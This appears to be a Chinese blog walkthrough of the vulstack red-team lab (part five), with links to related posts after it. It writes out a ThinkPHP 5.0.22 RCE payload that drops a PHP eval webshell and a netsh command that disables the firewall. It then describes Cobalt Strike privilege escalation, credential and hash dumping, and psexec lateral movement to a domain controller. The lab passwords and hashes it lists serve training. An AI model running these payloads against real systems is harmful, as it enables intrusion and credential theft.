一、环境搭建:
①根据作者公开的靶机信息整理
虚拟机密码:
Win7:
heart 123.com    #本地管理员用户
sun\Administrator dc123.com    #域管用户,改为了panda123..
 
Win2008:
sun\admin 2020.com    #由于需要改密码,我更改为panda666...
 
②虚拟机网卡设置
Win7双网卡模拟内外网:
外网:桥接模式与物理机相通
内网:根据公开截图是:192.168.138.136,仅主机模式

利用管理员账号登进win7,并将其中一个网卡ip设置为桥接模式的通网段ip:192.168.1.136

 
Win2008只通内网不通外网:
内网:根据公开截图是:192.168.138.138,仅主机模式

③整体环境梳理
靶机:
Win7:192.168.1.136(外网),192.168.138.136(内网)
Win2008:192.168.138.138(内网)
 
攻击机:
kali:192.168.1.2
win10:192.168.1.7
 
利用本地管理员heart登陆win7,并开启phpstudy,启动web环境:

 
二、web层渗透:
0x01 前期信息收集与漏洞利用:
①端口、服务探测:
nmap 192.168.1.136 -T4 -A -sV
 
②初探web
发现开启了80和3306,访问80端口的http服务,发现是thinkphp

 
③thinkphp rce一把梭
随便输入路径,让其报错,发现是5.0.22版本
 
直接去搜索历史漏洞,看下有没有可以直接getshell的,不难找到exp,而且直接RCE了
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
④getshell
然后直接利用echo写入一句话方便后续操作,由于是靶机环境,不考虑免杀,实战中可能需要免杀一句话
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php eval($_POST[cmd]);?^> > shell.php
直接利用蚁剑连接webshell
 
0x02 目标本机信息收集
①发现目标有两个ip,并且存在域sun.com,DNS服务器为192.168.138.138,基本上DNS服务器就是域控
 
查看进程信息,并没有发现杀软
那么目标肯定是横向移动,最终拿下这台域控了,这里为了熟悉Cobaltstrike,所有的内网渗透操作将利用cs完成,并且不存在杀软,就不用考虑免杀了,毕竟是靶机嘛emmm...
 
 
三、内网横向渗透
0x01 让目标主机上线
①使用web_delivery的方式,生成powershell命令

虚拟终端执行payload

 
稍等一会就看见cs上线了

 
0x02 提权
①设置心跳时间为1s,查看当前权限为管理员权限,为了后续更好操作,提权至system

②查看补丁情况,并分析可利用漏洞提权exp
shell systeminfo

windows提权辅助脚本提示存在MS15-051

③利用CS一键提权

 
提权成功返回一个system权限的beacon

 
0x03 内网横向移动
①查看防火墙情况,发现是开启状态
shell netsh firewall show state

为了方便操作,将防火墙关闭
shell netsh advfirewall set allprofiles state off

②内网常规信息收集
当前域内计算机列表:
 
域控列表:

用户列表:

③抓取凭证hash

 
抓取到的全部明文密码、ntlm hash

④上线域用户leo
Spawn As派生会话

 
选择leo的凭证
 
成功拿到leo的beacon

 
⑤继续收集域内信息
net user \\192.168.138.138

又发现多了一个admin用户

 
⑥信息汇总整理:
域名:sun.com
域控:192.168.138.138,机器名:DC
域内机器:192.168.138.136(win7)、192.168.138.138(DC)
所有用户:
非域:heart:123.com;ntlm:afffeba176210fad4628f0524bfe1942
域内用户:sun\administrator(域管):panda123..;ntml:31d6cfe0d16ae931b73c59d7e0c089c0
sun\leo:123.com;ntml:afffeba176210fad4628f0524bfe1942
sun\admin(未知)
krbtgt(未知)
 
 
0x04 攻击域控
①网络环境分析
边界机win7可通外网、内网,域控只能与win7通信,不能出网,所以想要拿到DC权限,可以通过:
1.psexec配合SMB beacon上线DC机器
2.link Listener+IPC$连接上马
 
②横向psexec拿下DC beacon

 
选择域管凭证,并选择smb beacon的监听器,选择一个会话进行横向移动,点击choose

 
成功利用域管账号拿下DC的smb beacon

③导出域内所有hash

 
四、总结
0x01 总体内网拓扑

 
0x02 整体思路
1.端口探测发现80端口web服务,利用thinkphp 5.0.22 rce漏洞getshell
2.简单主机信息收集发现双网卡,判断存在内网环境,并且有域
3.配合windows检测脚本,判断出可利用exp,并利用cs进行提权
4.内网、域常规信息收集,并关闭了防火墙方便后续操作
5.通过凭证hash获取到域用户、域管、其他用户的密码、hash
6.利用抓取到的域管凭证+psexec进行横向到域控
7.经过分析当前网络情况发现域控并不能出网,所以通过SMB beacon+psexec进行横向,最终拿下域控

vulstack红队评估(五)的更多相关文章

  1. vulstack红队评估(四)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: ubuntu: ubuntu:ubuntu   win7: douser:Dotest123   Win2008 DC: administr ...

  2. vulstack红队评估(三)

    一.环境搭建: ①根据作者公开的靶机信息整理 没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件   ②虚拟机网卡设置 centos双网卡模拟内外网: 外网:192.168 ...

  3. vulstack红队评估(二)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX     2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...

  4. vulstack红队评估(一)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 虚拟机初始所有统一密码:hongrisec@2019   因为登陆前要修改密码,改为了panda666...   2.虚拟网卡网络配置: ①Win7双 ...

  5. ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程

    介绍及环境搭建 靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2 官方靶机说明: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练 ...

  6. ATT&CK红队评估实战靶场(一)

    靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡,仅主机模式192.168.52.0网段模拟内 ...

  7. Red Team 指南-第1章 红队和红队概述

    第1章 红队和红队概述 贡献者:Tony Kelly @infosectdk # 翻译者 BugMan 什么是红队?它来自哪里? 红队的起源是军事起源.人们意识到,为了更好地防御, 需要攻击自己的防御 ...

  8. 红队(red team)

    红队资源相关 https://threatexpress.com/redteaming/resources/ 红队相关技术 https://github.com/bluscreenofjeff/Red ...

  9. ATT&CK实战系列 红队实战(一)————环境搭建

    首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...

随机推荐

  1. Istio Gateway网关

    Istio Ingress Gateway Istio 服务网格中的网关 使用网关为网格来管理入站和出站流量,可以让用户指定要进入或离开网格的流量. 使用网关为网格来管理入站和出站流量,可以让用户指定 ...

  2. corosync+pacemaker实现httpd高可用

    corosync+pacemaker 官方网址 https://clusterlabs.org/ 一.开源高可用了解 OPEN SOURCE HIGH AVAILABILITY CLUSTER STA ...

  3. [Unity2d系列教程] 001.引用外部DLL - C#

    众所周知,Unity可以支持多种语言开发, C#, JS, Boo三种方式的开发, 能够很方便的集成一些外部插件,以便调用现有的动态链接库.学过C#的都知道C#可以生成一个dll供给其他的程序调用.那 ...

  4. 中文分词工具——jieba

    汉字是智慧和想象力的宝库. --索尼公司创始人井深大 简介 在英语中,单词就是"词"的表达,一个句子是由空格来分隔的,而在汉语中,词以字为基本单位,但是一篇文章的表达是以词来划分的 ...

  5. java方式实现堆排序

    一.堆排序和堆相关概念描述 堆排序是指利用堆这种数据结构所设计的一种排序算法.堆是一个近似完全二叉树的结构,并同时满足堆的性质:即子结点的值总是小于(或者大于)它的父节点,若子结点的值总是小于它的父节 ...

  6. 2019-ICLR-DARTS: Differentiable Architecture Search-论文阅读

    DARTS 2019-ICLR-DARTS Differentiable Architecture Search Hanxiao Liu.Karen Simonyan.Yiming Yang GitH ...

  7. LayUI laydate日期选择器自定义 快捷选中今天、昨天 、本周、本月等等

    1. 引入laydata插件 下载 https://blog-static.cnblogs.com/files/zhangning187/laydate.js laydate.js 替换laydate ...

  8. 折腾自己的js闭包(二)

    前面我大致探讨了js里的闭包的相关概念,那么,到底在什么时候用它最好呢?存在即真理,只不过以前没发现它而已,先来看看下面的这几个用途吧 一.我首先想到的就是从函数外面访问它的内部变量,从而达到自己的一 ...

  9. Java实现 蓝桥杯VIP 算法训练 无权最长链

    试题 算法训练 无权最长链 问题描述 给定一个n节点m边的无圈且连通的图,求直径 输入格式 第一行两个数字n,m 接下来m行每行两个数字x,y,代表x,y之间有一条边 输出格式 要求用户的输出满足的格 ...

  10. Java实现 LeetCode 343 整数拆分(动态规划入门经典)

    343. 整数拆分 给定一个正整数 n,将其拆分为至少两个正整数的和,并使这些整数的乘积最大化. 返回你可以获得的最大乘积. 示例 1: 输入: 2 输出: 1 解释: 2 = 1 + 1, 1 × ...